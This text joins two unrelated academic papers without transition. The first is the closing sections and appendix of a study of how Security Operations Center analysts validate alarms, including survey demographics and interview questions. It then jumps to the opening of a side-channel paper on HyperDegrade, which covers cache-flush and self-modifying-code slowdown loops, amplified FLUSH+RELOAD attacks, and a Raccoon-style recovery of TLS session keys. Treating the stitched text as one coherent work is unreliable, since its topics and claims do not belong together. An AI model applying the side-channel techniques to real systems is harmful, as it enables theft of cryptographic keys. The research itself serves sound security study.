the data features or data distributions of the organiza-
tion’s network in which it is deployed may be different,
or there may be a lack of labeled training data. As a
result, directly applying the malware network detection

system to the new network might not be straightforward,
but transferring the classification knowledge into the new
organization’s network would be useful. Using Trans-
fer Learning, security vendors can transfer knowledge
on malware behavior; organizations can then incorporate
contextual information to them and build a customized
model that fits their network, producing more effective
alarms and reducing the number of benign triggers.

9 Limitations and Future Work

We employed a qualitative method, and as a result, our
sample size is small (n = 21). SOCs are distinctive, in
their size, structure, operations, and personnel, and our
study only involved seven SOCs. Most of our partic-
ipants are based primarily in the UK, with some serv-
ing UK-based public and private sectors. Due to our
non-random method of recruitment that leveraged insti-
tutional relationships to ensure participation and engage-
ment, the participating SOCs were mostly in the security
sector located in Europe. Given that many of the SOC
processes described by our results are defined by the or-
ganization, such results are biased towards this indus-
try/region. Future work should seek to explore practice
in SOCs in other industries/regions, identifying inter-
sector and inter-regional similarities and differences.

The decision to use semi-structured interviews as the
qualitative method meant that the level of detail in which
different participants discussed each question varied.
Self-reported data also have limitations such as recall and
observer bias. Furthermore, we report only those themes
highlighted by the participants in this study. These lim-
itations prevented us from extracting generalizable con-
clusions, and therefore, further validation of the study
findings is required. In future work, we will evaluate this
study’s findings with further SOCs and participants re-
siding in other countries or serving organizations of var-
ious sector types. In this work, we plan to conduct a
quantitative study to measure analysts’ perception of the
definition of false alarms and benign triggers.

10 Conclusions

In this paper, we focused on understanding how SOC
practitioners validate an alarm (i.e., determining whether
it is a true positive, false positive, or a benign trigger).
We found that adoption of the term False Positive has
proved to be vague and a clear distinction when eval-
uating systems needs to be used. We also investigated
the analysts’ perception of limitations of the alarms pro-
duced by existing security tools. They were found to
be unreliable, difficult to interpret, and lacking in the
context needed by analysts to filter FPs from genuine
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alarms. We elicit from these limitations recommenda-
tions for tool vendors and researchers to help improve
the quality of alarms, reduce FPs and alarm burnout, and
ultimately foster analysts’ trust in security tools.
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A Appendix

A.1 Background: Security Operations
Centers (SOCs)

Security Operations Centers (SOCs) are a centralized
unit providing monitoring capabilities for the detection,
escalation and recovery of security incidents on an orga-
nizational and technical level. Once a security incident is
detected, the SOC aims to contain the attack as soon as
possible, to limit the potential damage, saving the orga-
nization money, data exfiltration or reputation damages.

There are different types of SOCs as discussed in [48],
which could be classified by the services they provide,
their capabilities or maturity [22]. Moreover, they can
mainly be categorized as (1) in-house SOC, meaning the
organization builds and staffs the SOC for its organiza-
tion; (2) Managed Security Service Provider (MSSP),
where an organization hires a third party, outsourcing
the threat monitoring, detection, and response. Some
customers combine these two approaches, building their
own SOC but also hiring a MSSP to uplift their skill set
by doing joined monitoring. There are several reasons
why an organization would use one over the other. For
example, their budget, their lack of security expertise, or
to avoid the setup costs of a SOC [5, 30].

SOCs consist of complex processes and technology
and involves multiple people from within the SOC, or-
ganization, customer and other third parties. We discuss
these SOC domains in the following.

A.1.1 People

The SOC team’s goal is to detect, analyze, and respond to
cybersecurity incidents using a combination of technol-
ogy solutions and a strong set of processes. To do that,
analysts have to maintain Situational Awareness (SA) of
events from the systems and networks they monitor. Sit-
uational Awareness is defined as: “Within a volume of
time and space, the perception of an enterprise’s secu-
rity posture and its threat environment; the comprehen-
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sion/meaning of both taken together (risk); and the pro-
jection of their status into the near future.” [15].

SOC practitioners’ team structure and responsibilities
varies [48]. The SOC team is typically staffed with se-
curity analysts, engineers, incident responders, hunters,
contractors, as well as managers who oversee security
operations. SOC engineers are responsible for provid-
ing and supporting the SOC with the required software
(e.g., SIEM scripts or configurations). Incident respon-
ders handle events that are escalated by the analysts that
need in-depth investigation and forensics..

A.1.2 Process

The SOC process involves the various workflows SOC
security practitioners follow in their everyday tasks. For
example, this includes process followed for SIEM mon-
itoring and alarming, event management process, secu-
rity incident ticket management, incident handling, re-
porting and escalation process. All these processes are
documented in a Wiki Portal or a Knowledge Base, share
point or share drive for team reference.

There are standard guidelines that direct analysts in
SOC operations. For example, The European Net-
work and Information Security Agency (ENISA) [27],
and the National Institute of Standards and Technology
(NIST) [10] have published guidelines for incident re-
sponse teams. To provide a rapid automated response for
incident identification, detection, response to SOC team
communications, procedures are documented in a play-
book [7], a document prepared by experienced SOC an-
alysts that details steps an analyst should follow to deal
with a security alarm.

A.1.3 Technology: SIEMs

SOCs deploy various technological solutions such as
Asset Discovery, Vulnerability Assessment, Behavioral
Monitoring, Host/Network Signature-based Intrusion
Detection/Prevention Systems, and SIEMS. We discuss
in the following the main platform deployed in SOCs.

One of the most frequently chosen tools in a SOC is
Security Information and Event Management (SIEM)—
e.g, ArcSight 2, AlienVault 3. We show the architecture
of a SIEM in Figure 3.

SIEMs are systems that combine SIM (security in-
formation management), and SEM (security event man-
agement) functions into one security management sys-
tem. SEM deals with real-time monitoring, correlation
of events, notifications and console views. SIMs provide

2https://www.microfocus.com/en-us/products/

siem-security-information-event-management/overview
3https://cybersecurity.att.com/solutions/

siem-log-management

long-term storage as well as analysis, manipulation and
reporting of log data and security records of the type col-
lated by SEM software.

SIEMs replace the need for analysts to access tradi-
tional security tools directly. Instead, the SIEM aggre-
gates the logs from the multiple data sources, and pro-
cesses them to detect threats. Then, the first step is to
parse the data collected from the data sources and nor-
malize it to a standard format produced as a security
event. Multiple security events may be correlated to cre-
ate a correlation rule or alarm. When the rule is triggered,
an alarm is fired and prioritized. Then, it is up to the an-
alyst to determine if the alarm is a FP or it needs to be
escalated. We discuss each step in further detail in the
following.

Data Sources— The SIEM has data source plug-ins
called collectors where data sources are fed into it. These
data sources could be either raw logs or security events
generated by security devices. Such data sources could
be, for example, network-based security tools (e.g., fire-
walls, IDS), host-based security tools (e.g., Anti-Virus),
logs (e.g., operating systems logs, web server logs). Con-
textual data provided by threat intelligence platforms and
other processes (e.g., vulnerability scans) could also feed
into the SIEM.

Ideally, these data sources are received from Security
Device Event Exchange (SDEE) enabled devices/hosts.
SDEE is a standard proposed by the International Com-
puter Security Association (ICSA)4 that specifies the for-
mat of messages and protocols used to communicate
events generated by security devices. SDEE enables de-
vices to collect logs in the device itself, and the SIEM
retrieves these logs. If the raw logs match a specific cri-
terion, then part of the message is inserted into the SIEM
database as a security event. Other devices send the logs
directly to the SIEM to store.

Normalization— Logs/messages received from
SDEE enabled devices are intrinsically suited to the
SIEM. They do not require manipulation because they
are in the right format. However, some applica-
tions/devices were never designed to generate logs.
Therefore, they have to be heavily edited by scripts to
produce a log that will fit the SIEM’s requirements.

Correlation— Most alarms in a SIEM are directive
alarms, also known as correlation rules. Using correla-
tion rules, SOCs can identify potential security threats
by detecting behavior patterns in disparate yet related
events. Directive alarms link these different events to
generate an alarm that is more useful than any event seen
in isolation. If the organization has a particular threat
use-case, then they can create their own directives.

Alarming and Prioritization— Its worth noting that

4https://www.icsalabs.com/
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there is a distinction in the definition of alarm, alert, and
event in a SOC operation. Security tools and networking
devices produce alerts when they detect a threat. Simi-
larly, these threats might be written in logs as an event.
The alerts and events are then aggregated through the
SIEM to produce an alarm. When multiple alarms are
flagged, a frequent scenario in a SOC, what alarm is
looked at depends on what is monitored. For example,
if an organization is only concerned about where data is
going, then network traffic and IDS alerts alone might
be sufficient. However, receiving multiple alerts from
different sources related to the same asset provides as-
surance of the validity of the alarm. How they choose
the alarms they investigate depends on several factors,
which could be defined using the prioritization module
in the SIEM engine.

Reporting and Visualizations— Alarms produced by
the SIEM are presented to the analyst through visual-
ization (e.g., dashboards). In addition, the SIEM pro-
vides reporting capabilities, meaning analysts can auto-
generate reports.

A.2 Online Survey Participants

We show the demographics of our survey participants in
Table 5. 20 people filled out the survey. The participants
had a mix of demographics (e.g., expertise, years of ex-
perience, and position). Most of our participants were
from large organizations. Moreover, most participants
were from SOCs in the security sector, with three from
government and two working in the aerospace industry.

Table 5: Survey Participants: (Expertise Level: Very
High(H+), High(H), Medium(M), Low(L)), (Organisa-
tion Size: Large(L), Medium(M), Small(S))

ID Years of
Exp. Job Title Expertise

Level Gov? No. analysts
in SOC

Org.
Size

S1 0 - 3 Analyst H 1 - 9 S
S2 0 - 3 Analyst L 1 - 9 L
S3 - Architect H 20 - 29 M
S4 0 - 3 Analyst L 20 - 29 M
S5 3 - 5 Manager H 10 - 19 L
S6 5 - 7 Engineer H 10 - 19 L
S7 7 - 10 Engineer H+ 10 - 19 L
S8 10 - 15 Engineer H 10 - 19 L
S9 0 - 3 Analyst L 1 - 9 L
S10 0 - 3 Architect H - M
S11 0 - 3 Analyst M 10 - 19 L
S12 0 - 3 Analyst M 1 - 9 L
S13 3 - 5 Analyst H 1 - 9 L
S14 3 - 5 IR Manager H 200 + L
S15 0 - 3 Manager H 200 + L
S16 3 - 5 Analyst M - L
S17 0 - 3 Analyst L 1 - 9 L
S18 3 - 5 Analyst M 1 - 9 M
S19 0 - 3 Analyst M 10 - 19 S
S20 3 - 5 Analyst H 1 - 9 M

A.3 Online Survey Questions
Prior to starting the survey, participants were presented
with an information sheet detailing the study objectives,
methods of contact with researchers and how to with-
draw from the study. We detail the survey questions and
participant information sheet in the supplemental doc-
ument found here https://bit.ly/3BhjDtI. As the
study was broader in scope, not all questions were ana-
lyzed as part of this paper.

A.4 Semi-Structured Interview Questions
The semi-structured interview questions focused on the
following themes:

A.4.1 Interview Part 1

The first part of the interview was designed to encour-
age the practitioners to talk about their daily tasks, tools
they used, and the challenges they face relating to tools
and processes. In addition, we capture the security prac-
titioners’ perspectives on the importance of the human in
the loop in SOC operations and the potential of automa-
tion. We present the interview questions in the following.

1. Please describe your position/job role/level.

2. Which network monitoring tools do you use in your
monitoring work?

3. Looking back on past events, have there been times
during your use of network-monitoring systems
when they performed particularly well?

4. Can you describe an incident that was detected
well?

5. Looking back on past events, have there been times
during your use of network-monitoring systems
when they could have performed better? Can you
describe an incident that was not detected as well as
it should have been?

6. What is your view on the strengths and weaknesses
of the network-monitoring systems you use?

7. What is your view on the accuracy of the network-
monitoring systems you use?

(a) Are there events they do not detect that they
should be detecting (false negatives)? If so, is
this a frequent occurrence?

(b) Do they detect false positive events? If so,
what proportion of events detected are false
positives?
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(c) Can you comment on the balance between
false positives and false negatives in your sys-
tems? Which are there more of?

8. What is your view on the usability of the network-
monitoring systems you use?

9. We are interested in the balance between attack de-
tection by automated systems, and work performed
manually by analysts. Can you describe this bal-
ance? (e.g., are there times when you as an an-
alyst use your own experience to explore the data
and make decisions, rather than or alongside using
automated system alerts, and how do you do this?)

10. Do you feel that you as an analyst monitoring the
network are capable of detecting attacks that might
be missed by automated systems?

(a) How does your existing monitoring setup en-
able this?

(b) Can you give an example?

(c) How do you maintain situational awareness of
your network?

11. Do you feel the level of Situational Awareness you
are able to achieve currently is sufficient?

(a) Can you comment on the usability of the sys-
tems through which you maintain SA? How
easy is it to stay ”in the loop”?

(b) Is it necessary for you to maintain SA while
performing other tasks, and how do you do so?

12. How do you decide which events to prioritize?

13. Would you like to share any more views on the
network-monitoring systems you use that have not
been covered by the questions so far?

A.4.2 Interview Part 2

During the interview, the participant was presented with
a problem scenario and was asked to talk through the
steps they will use to address the problem. We pre-
sented the analysts’ with a number of scenarios in a semi-
structured format, criticizing and inspecting scenarios in
walk-throughs. Hence, we asked: For the following sce-
narios, could you describe step-by-step how you would
investigate? Please discuss in detail the following.

1. Processes, roles, workflow between SOC team
members. Which are the first tasks you would carry
out?

2. Which tools would you use?

3. Which data would you gather to help in your inves-
tigation? What are the first information sources you
would check, and what indicators would you look
for?

4. How would you prioritize and assess severity?

5. Which tasks would you automate, and which data
sources would you explore manually?

Scenarios— We then presented the analysts with a one
randomly chosen scenario from the scenarios below.

1. You are monitoring the organization’s network traf-
fic, and observe an increase in the traffic from a
server to an outside entity.

2. You are monitoring the organization’s network traf-
fic, and observe an increase in the traffic from a
server to another device on the network.

3. You are monitoring the organization’s network traf-
fic, and observe an increase in the network out-
bound traffic (how does the analyst find the mali-
cious internal host?).

4. You receive an alert from the SIEM of unauthorized
privilege escalation attempt.

5. Scanning the network, you find an IoC such as a
malware MD5 hash.

6. Your web server is receiving SYN flood requests.
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Abstract
Performance degradation techniques are an important com-
plement to side-channel attacks. In this work, we propose
HYPERDEGRADE—a combination of previous approaches
and the use of simultaneous multithreading (SMT) architec-
tures. In addition to the new technique, we investigate the
root causes of performance degradation using cache evic-
tion, discovering a previously unknown slowdown origin. The
slowdown produced is significantly higher than previous ap-
proaches, which translates into an increased time granularity
for FLUSH+RELOAD attacks. We evaluate HYPERDEGRADE
on different Intel microarchitectures, yielding significant slow-
downs that achieve, in select microbenchmark cases, three or-
ders of magnitude improvement over state-of-the-art. To eval-
uate the efficacy of performance degradation in side-channel
amplification, we propose and evaluate leakage assessment
metrics. The results evidence that HYPERDEGRADE increases
time granularity without a meaningful impact on trace quality.
Additionally, we designed a fair experiment that compares
three performance degradation strategies when coupled with
FLUSH+RELOAD from an attacker perspective. We devel-
oped an attack on an unexploited vulnerability in OpenSSL
in which HYPERDEGRADE excels—reducing by three times
the number of required FLUSH+RELOAD traces to succeed.
Regarding cryptography contributions, we revisit the recently
proposed Raccoon attack on TLS-DH key exchanges, demon-
strating its application to other protocols. Using HYPER-
DEGRADE, we developed an end-to-end attack that shows
how a Raccoon-like attack can succeed with real data, filling
a missing gap from previous research.

1 Introduction

Side Channel Analysis (SCA), is a cryptanalytic technique
that targets the implementation of a cryptographic primitive
rather than the formal mathematical description. Microarchi-
tecture attacks are an SCA subclass that focus on vulnerabili-
ties within the hardware implementation of an Instruction Set

Architecture (ISA). While more recent trends exploit spec-
ulation [36, 39], classical trends exploit contention within
different components and at various levels. Specifically for
our work, the most relevant is cache contention.

Percival [49] and Osvik et al. [44] pioneered access-driven
L1 data cache attacks in the mid 2000s, then Acıiçmez et al.
[3] extended to the L1 instruction cache setting in 2010. Most
of the threat models considered only SMT architectures such
as Intel’s HyperThreading (HT), where victim and spy pro-
cesses naturally execute in parallel. Yarom and Falkner [61]
removed this requirement with their groundbreaking FLUSH+
RELOAD technique utilizing cache line flushing [31], encom-
passing cross-core attacks in the threat model by exploiting
(inclusive) Last Level Cache (LLC) contention.

In this work, we examine the following Research Questions
(RQ).

RQ 1: Research Question 1

With respect to SMT architectures, are CPU topology
and affinity factors in performance degradation attacks?

Allan et al. [7] proposed DEGRADE as a general perfor-
mance degradation technique, but mainly as a companion to
FLUSH+RELOAD attacks. They identify hot spots in code and
repeatedly flush to slow down victims—in the FLUSH+RE-
LOAD case, with the main goal of amplifying trace granularity.
Pereida García and Brumley [50] proposed an alternate frame-
work for hot spot identification. We explore RQ 1 in Section 3
to understand what role physical and logical cores in SMT ar-
chitectures play in performance degradation. Along the way,
we discover the root cause of DEGRADE which we subse-
quently amplify. This leads to our novel HYPERDEGRADE
technique, and Section 4 shows its efficacy, with slowdown
factors in select microbenchmark cases remarkably exceeding
three orders of magnitude.

RQ 2: Research Question 2

Does performance degradation lead to FLUSH+RE-
LOAD traces with statistically more info. leakage?
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Nowadays, FLUSH+RELOAD coupled with DEGRADE is
a standard offensive technique for academic research. While
both Allan et al. [7] and Pereida García and Brumley [50] give
convincing use-case specific motivation for why DEGRADE
is useful, neither actually show the information-theoretic ad-
vantage of DEGRADE. Section 5 closes this gap and partially
answers RQ 2 by utilizing an existing SCA metric to demon-
strate the efficacy of DEGRADE as an SCA trace amplifica-
tion technique. We then extend our analysis to our HYPER-
DEGRADE technique to resolve RQ 2. At a high level, it
shows HYPERDEGRADE leads to slightly noisier individual
measurements yet positively disproportionate trace granular-
ity.

RQ 3: Research Question 3

Can HYPERDEGRADE reduce adversary effort when
attacking crypto implementations?

RQ 2 compared HYPERDEGRADE with previous ap-
proaches from a theoretical point of view. In Section 6 we
compare the three approaches from an applied perspective,
showing a clear advantage for HYPERDEGRADE over the
others.

RQ 4: Research Question 4

Can a Raccoon attack (variant) succeed with real data?

Merget et al. [40] recently proposed the Raccoon attack
(e.g. CVE-2020-1968), a timing attack targeting recovery
of TLS 1.2 session keys by exploiting DH key-dependent
padding logic. Yet the authors only model the SCA data and
abstract away the protocol messages. Section 6 answers RQ 4
by developing a microarchitecture timing attack variant of
Raccoon, built upon FLUSH+RELOAD and our new HYPER-
DEGRADE technique. Our end-to-end attack uses real SCA
traces and real protocol (CMS) messages to recover session
keys, leading to loss of confidentiality. We conclude in Sec-
tion 7.

2 Background

2.1 Memory Hierarchy

Fast memory is expensive, therefore computer system design-
ers use faster yet smaller caches of slower yet larger main
memory to benefit from locality without a huge price increase.
A modern microprocessor has several caches (L1, L2, LLC)
forming a cache hierarchy [45, Sect. 8.1.2], the L1 being the
fastest one but smaller and tightly coupled to the processor.
Caches are organized in cache lines of fixed size (e.g., 64
bytes). Two L1 caches typically exist, one for storing instruc-
tions and the other for data. Regarding this work, we are
mainly interested in the L1 instruction cache and remaining
levels.

When the processor needs to fetch some data (or instruc-
tions) from memory, it first checks if they are already cached
in the L1. If the desired cache line is in the L1, a cache hit
occurs and the processor gets the required data quickly. On
the contrary if it is not in the L1, a cache miss occurs and the
processor tries to fetch it from the next, slower, cache levels or
in the worst case, from main memory. When gathering data,
the processor caches it to reduce latency in future loads of
the same data, backed by the principle of locality [45, Sect.
8.1.5].

2.2 Performance Degradation
In contrast to generic CPU monopolization methods like the
“cheat” attack by Tsafrir et al. [56] that exploit the OS process
scheduler, several works have addressed the problem of de-
grading the performance of a victim using microarchitecture
components [29, 30, 33, 42]. However, in most cases it is
not clear whether SCA-based attackers gain benefits from the
proposed techniques.

On the other hand, Allan et al. [7] proposed a cache-
eviction based performance degradation technique that en-
hances FLUSH+RELOAD attack SCA signals (traces). This
method has been widely employed in previous works to mount
SCA attacks on cryptography implementations. For instance
RSA [10], ECDSA [8], DSA [51], SM2 [58], AES [18], and
ECDH [24].

The performance degradation strategy proposed by Allan
et al. [7], DEGRADE from now on, consists of an attacker
process that causes cache contention by continuously issuing
clflush instructions. It is an unprivileged instruction that
receives a virtual memory address as an operand and evicts the
corresponding cache line from the entire memory hierarchy
[1].

This attack applies to shared library scenarios, which are
common in many OSs. This allows an attacker to load the
same library used by the victim and receive a virtual address
that will point to the same physical address, thus, same cache
line. Therefore, if the attacker evicts said cache line from the
cache, when the victim accesses it (e.g., executes the code
contained within it), a cache miss will result, thus the micro-
processor must fetch the content from slower main memory.

2.3 Leakage Assessment
Pearson’s correlation coefficient, Welch’s T-test, Test Vector
Leakage Assessment (TVLA), and Normalized Inter-Class
Variance (NICV) are established statistical tools in the SCA
field. Leakage assessment leverages these statistical tools to
identify leakage in procured traces for SCA. A short summary
follows.

Pearson’s correlation coefficient measures the linear simi-
larity between two random variables. It is generally useful for
leakage assessment [19, Sect. 3.5] and Point of Interest (POI)

2802    31st USENIX Security Symposium USENIX Association

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1968


identification within traces, for example in template attacks
[17] or used directly in Correlation Power Analysis (CPA)
[16]. POIs are the subset of points in an SCA trace that leak
sensitive information.

Welch’s T-test is a statistical measure to determine if two
sample sets were drawn from populations with similar means.
Goodwill et al. [26] proposed TVLA that utilizes the T-test
for leakage assessment by comparing sets of traces with fixed
vs. random cryptographic keys and data.

Lastly, Bhasin et al. [11] propose NICV for leakage as-
sessment. It is an ANalysis Of VAriance (ANOVA) F-test, a
statistical measure to determine if a number of sample sets
were drawn from populations with similar variances.

2.4 Key Agreement and SCA

Merget et al. [40] recently proposed the Raccoon attack that
exploits a specification-level weakness in protocols that utilize
Diffie-Hellman key exchange. The key insight is that some
standards, including TLS 1.2 and below, dictate stripping
leading zero bytes from the shared DH key (session key, or
pre-master secret in TLS nomenclature). This introduces an
SCA attack vector since, at a low level, this behavior trickles
down to several measurable time differences in components
like compression functions for hash functions. In fixed DH
public key scenarios, an attacker observes one TLS handshake
(the target) then repeatedly queries the victim using a large
number of TLS handshakes with chosen inputs. Detecting
shorter session keys through timing differences, the authors
use these inputs to construct a lattice problem to recover the
target session key, hence compromising confidentiality for the
target TLS session.

3 HyperDegrade: Concept

The objective of HYPERDEGRADE is to improve performance
degradation offered by DEGRADE when targeting a victim
process, resulting in enhanced SCA traces when coupled with
a FLUSH+RELOAD attack. Under a classical DEGRADE at-
tack, the degrading process continuously evicts a cache line
from the cache hierarchy, forcing the microprocessor to fetch
the cache line from main memory when the victim needs it.

It would be interesting to evaluate the efficacy of the DE-
GRADE strategy, seeking avenues for improvement. The root
cause of DEGRADE as presented in [7] is the cache will pro-
duce more misses during victim execution—we present novel
results on this later. Therefore, the cache miss to executed
instructions ratio is a reasonable metric to evaluate its perfor-
mance.

For this task, we developed a proof-of-concept victim that
executes custom code located in a shared library. This harness
receives as input a cache line index, then executes a tight
loop in said cache line several times. Figure 1 shows the code

5000: add $0x1,%rsi
5004: sub $0x1,%rsi

.p2align 12 5008: add $0x1,%rsi
L0: 500c: sub $0x1,%rsi
.rept 64 5010: add $0x1,%rsi

.rept 6 5014: sub $0x1,%rsi
add $1, %rsi 5018: add $0x1,%rsi
sub $1, %rsi 501c: sub $0x1,%rsi

.endr 5020: add $0x1,%rsi
add $1, %rsi 5024: sub $0x1,%rsi
sub $2, %rsi 5028: add $0x1,%rsi
jz END 502c: sub $0x1,%rsi
jmp *%rdi ; L0 5030: add $0x1,%rsi
.p2align 6 5034: sub $0x2,%rsi

.endr 5038: je 6000 <END>
503e: jmpq *%rdi ; L0

Figure 1: Victim single cache line loop (code and disasm.).

snippet of this loop at the left, and one cache line disassembled
code at the right.

For our experiments the number of iterations executed is
216 (defined by rsi). Therefore, we expect the number of
instructions executed in the selected cache line is about 1M.
Under normal circumstances, every time the processor needs
to fetch this code from memory, the L1 cache should serve it
very quickly.

3.1 Degrade Revisited
On the DEGRADE attacker side, we developed a degrading
process that loads the same shared library and continuously
evicts the victim executed cache line using clflush. We use
the Linux perf tool to gather statistics about victim execu-
tion under a DEGRADE attack. For this task, we used the
perf (commit 13311e74) FIFO-based performance counters
control to sync their sampling with the victim and degrade
processes. perf uses two FIFOs for this task, one for en-
abling/disabling the performance counters and another for
giving ACKs. The sync procedure in our measurement tool-
ing is the following:

1. The degrade process executes and it blocks until receiv-
ing an ACK packet from perf using FIFO A.

2. perf executes with counters disabled (“-D -1” option),
using FIFO C for control and A for ACKs. Then it runs
taskset that executes the victim pinned to a specific
core.

3. The victim enables the counters by writing to C, then it
blocks until it receives an ACK from the degrade process
using another FIFO.

4. When perf receives the enable counters command, it
sends an ACK using A to the degrade process. When
the latter receives the ACK, it forwards it to the victim.
When the victim receives this packet, it starts executing
its main loop (Figure 1).

5. Once the victim finishes, it disables the counters in perf.
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Table 1: NODEGRADE and DEGRADE statistics.
Parameter NODEGRADE DEGRADE

inst_retired.any 1.5M 1.5M
L1-icache-load-misses 4,115 33,785

This procedure considerably reduces measurement tooling
overhead, but some remains. The NODEGRADE strategy does
not use a degrade process, however we used a dummy pro-
cess that follows the FIFO logic to unify the sync procedure
among experiments. We repeated each experiment 100 times,
gathering the average and relative standard deviation. In all
reported cases the latter was less than 4%, therefore we used
the average for our analysis. We recorded the number of L1
instruction cache misses and the number of instructions re-
tired by the microprocessor. For these experiments, we used
the environment setup Coffee Lake detailed in Table 3.

We collected data while the victim was running standalone
(i.e., NODEGRADE strategy) and while it was under DE-
GRADE effect. Table 1 shows the results for each perf event.
The number of retired instructions is roughly the same be-
tween both experiments, where the difference from expected
(1M) is likely due to the measurement tooling overhead. Nev-
ertheless, the number of L1 instruction cache misses was 4k
for the NODEGRADE test and 33k for DEGRADE. However,
33k is still far below one cache-miss per executed instruction
(1M).

3.2 The HyperDegrade Technique
In order to increase the performance impact of DEGRADE,
we attempt to maximize the number of cache misses. For this
task we made the hypothesis that in an SMT architecture, if
the degrade process is pinned to the victim’s sibling core, then
the number of cache misses will increase.

According to an expired patent from Intel concerning
clflush [46], the microarchitectural implementation of this
instruction in the ISA distinguishes if the flushed cache line
is already present in the L1 or not. While it is not explicitly
stated in that document as there is no latency analysis, it is
our belief that the flushed cache line would be evicted from
the L1 before others caches, e.g., due to the proximity wrt.,
for instance, the LLC controller. Figure 2 illustrates this idea,
where the arrows represent clflush actions and the dashed
ones are slower than the others.

Following this hypothesis, we present HYPERDEGRADE
as a cache-evicting degrade strategy that runs in the victim
sibling core in a microarchitecture with SMT support. From
an architecture perspective it does the same task as DEGRADE,
but in the same physical core as the victim. However, the be-
havior at the microarchitecture level is quite different because,
if our hypothesis is correct, it should produce more cache
misses due to the local proximity of the L1. To support this
claim, we repeated the previous experiment while pinning the

Physical Core

Degrade

L1

CPU 0

Physical Core

Hyper
Degrade Victim

L1

CPU 1CPU 0

CACHE COHERENCY DOMAIN

Victim
CPU 1

Physical Core

CACHE COHERENCY DOMAIN

*arrows represent clflush actions

L1

(a) (b)

Figure 2: DEGRADE vs HYPERDEGRADE from clflush
perspective.

Table 2: HYPERDEGRADE improvement.
Parameter NODEGRADE DEGRADE HYPERDEGRADE

inst_retired.any 1.5M 1.5M 1.5M
L1-icache-load-misses 4,115 33,785 992,074
cycles 1,252,211 12,935,389 504,395,314
machine_clears.smc < 1 28,375 983,348

degrade process to the victim sibling core.
Table 2 shows the results of HYPERDEGRADE in compar-

ison with the previous experiment. Note that with HYPER-
DEGRADE there are about 33x cache misses1 than with DE-
GRADE, translating to a considerable increase in the number
of CPU cycles the processor spends executing the victim. At
the same time, the number of observed cache misses increased
considerably, approaching the desired rate. This result, while
not infallible proof, supports our hypothesis that sharing the
L1 with the victim process should produce higher perfor-
mance degradation.

On the other hand, note the number of CPU cycles increases
by a higher factor (43x), which leads us to suspect there could
be another player that is influencing the performance degra-
dation; further research is needed. After repeating the exper-
iment for several perf parameters, we found an interesting
performance counter that helps explain this behavior.

It is the number of machine clears produced by self-
modifying code or SMC (machine_clears.smc). According
to Intel, a machine clear or nuke causes the entire pipeline to
be cleared, thus producing a severe performance penalty [1,
19-112].

Regarding the SMC classification of the machine clear,
when the attacker evicts a cache line, it invalidates a cache
line from the victim L1 instruction cache. This might be
detected by the microprocessor as an SMC event.

The machine clears flush the pipeline, forcing the victim to
re-fetch some instructions from memory, thus increasing the
number of L1 cache misses due to the degrade process action.
Therefore, it amplifies the effect produced by a cache miss,
because sometimes the same instructions are fetched more
than once.

Moreover, this analysis reveals an unknown performance
degradation root cause of both DEGRADE and HYPER-

1after subtracting NODEGRADE cache misses to remove non-targeted
code activity
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DEGRADE, thus complementing the original research on DE-
GRADE in [7]. The performance degradation occurs due to an
increased number of cache misses and due to increased ma-
chine clears, where the latter is evidenced by the significant
increase from zero (NODEGRADE) to 28k (DEGRADE). Like-
wise, HYPERDEGRADE increases the number of cache misses
and machine clears, thus, further amplifying the performance
degradation produced by DEGRADE. This demonstrates that
the topology of the microprocessor and the affinity of the
degrade process have significant influence in the performance
degradation impact, answering RQ 1.

We identified SMC machine clears as an additional root
cause for both DEGRADE and HYPERDEGRADE, however,
there could be others. In this regard, we highlight that our
root cause analysis, albeit sound, is not complete. Moreover,
achieving such completeness is challenging due to the un-
documented nature of the microarchitecture, providing an
interesting research direction for continued research. Indeed,
in concurrent work, Ragab et al. [54] analyze machine clears
in the context of transient execution.

Contention test and pure SMC scenario. For the sake
of completeness, we compared the CPU cycles employed
by different experiments using the previous setup. How-
ever, in this case, we vary the number of iterations in the
tight loop over a single cache line. We ranged this value
in the set {216,217, ..,225}. Therefore, the number of exe-
cuted instructions by the victim will be victim_num_inst=
16×num_iter.

This comparison involves five experiments: one for each
degrade strategy, plus a contention test and a pure SMC sce-
nario (presented later). The contention test is equivalent to
HYPERDEGRADE; however, this time the clflush instruc-
tion will flush a cache line not used by the victim. This test
allows to evaluate the performance impact of co-locating a
degrade process while it does not modify the victim’s cache
state.

Figure 3 visualizes the results of this comparison, where
both axes are log2-scaled. The y-axis represents the ratio cy-
cles per victim_num_inst. It can be appreciated that the con-
tention test and NODEGRADE have very similar performance
behavior (i.e., their curves overlap at the bottom). Hence, the
performance degradation of a HYPERDEGRADE process will
only be effective if it flushes a victim cache line, whereas ad-
ditional resource contention related to executing the clflush
instruction in a sibling core can be neglected.

We included a pure SMC scenario as an additional de-
grade strategy. Figure 4 illustrates the degrade process core.
This code continuously triggers machine clears due to its
self-modifying code behavior. Its position in Figure 3 shows
it has about the same performance degrading power as DE-
GRADE. However, this pure SMC alternative does not depend
on shared memory between the victim and degrade processes,
thus the presence of—and finding—hot cachelines [7] is not
a requirement.
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Figure 3: Experiments performance comparison (log2-scale).

mov $0x40, %dil ; 0x40 is part of the opcode at L0
lea L0(%rip), %rcx ; rcx points to L0

L0: mov %dil, (%rcx)
jmp L0

Figure 4: Main SMC degrade process instructions.

Limitations. HYPERDEGRADE offers a significant slowdown
wrt. previous performance degradation strategies. On the
other hand, it is tightly coupled to SMT architectures because
it requires physical core co-location with the victim process.
Therefore, it is only applicable to microprocessors with this
feature. In this regard, HYPERDEGRADE has the same limita-
tion as previous works that exploit SMT [3, 6, 12, 27, 49, 62].
SCA attacks enabled by SMT often have no target shared
library requirement, which is a hard requirement for FLUSH+
RELOAD to move to cross-core application scenarios. For
example, neither the L1 dcache spy [49] nor the L1 icache spy
[3] require victims utilizing any form of shared memory on
SMT architectures. Yet HYPERDEGRADE retains this shared
library requirement, since our applet is based on clflush to
induce the relevant microarchitecture events. However, since
SMT is a common feature in modern microarchitectures and
shared libraries are even more common, HYPERDEGRADE
is another tool on the attacker’s belt for performing FLUSH+
RELOAD attacks.

4 HyperDegrade: Performance

With our HYPERDEGRADE applet from Section 3, the goal
of this section is to evaluate the efficacy of HYPERDEGRADE
as a technique to degrade the performance of victim appli-
cations that link against shared libraries. Section 5 will later
explore the use of HYPERDEGRADE in SCA, but here we
focus purely on the slowdown effect. Applied as such in iso-
lation, HYPERDEGRADE is useful to effectively monopolize
the CPU comparative to the victim, and also increase the CPU
time billed to the victim for the same computations performed
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Table 3: Various SMT architectures used in our experiments.
Family Model Base Cores / Details

Freq. Threads
